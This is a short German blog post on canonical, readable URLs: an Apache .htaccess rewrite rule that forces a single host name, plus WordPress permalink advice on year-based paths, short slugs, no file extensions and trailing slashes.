  Im Webserver Apache kann man den Domainnamen per .htaccess und mod_rewrite sicherstellen:

  # Host sichern
  # toscho.de anpassen!
  <IfModule mod_rewrite.c>
  RewriteEngine On
  RewriteCond %{HTTP_HOST} !^toscho\.de$
  RewriteRule ^(.*)$ http://toscho.de/$1 [L,R=301]
  </IfModule>

  Wer WordPress bei Strato hostet, braucht hierfür einen Hack, der deren kaputte Konfiguration umgeht.

• Die Basis der Artikel sei aussagekräftig aber kurz. Ich benutze nur das Jahr, damit man den Link zeitlich zuordnen kann.
  In WordPress: /%year%/%postname%/.
  Ein Blog mit mehreren Autoren kann und sollte noch den jeweiligen Autor angeben.
  In WordPress: /%year%/%author%/%postname%/.
  Mehr Details zum Datum sind nur bei sehr oft aktualisierten Webseiten nötig oder bei Artikeln mit einem engen zeitlichen Kontext.
• Sinnvoll gekürzte URLs für Einzelseiten: Für den Artikel »Safari in CSS und Javascript ansprechen« habe ich beispielsweise die URL-Form safari-css-javascript benutzt.
• Keine »Datei-Endungen«. Eine URL ist eine Adresse; sie bildet kein Datei-System ab. Zudem verlängert ein angehängtes .html oder gar .php die URL ohne Not.
• Ein Slash / als Endung. Ein Artikel kann einen Anhang haben, der unter http://example.com/2008/hallo-welt/anhang/ erreichbar ist. Spätestens dann muß sowieso http://example.com/2008/hallo-welt/ existieren.

Das Ergebnis kann man jetzt in der Adresszeile des Browsers begutachten.
Lesetip: Christoph Schneegans: Kanonische Adressen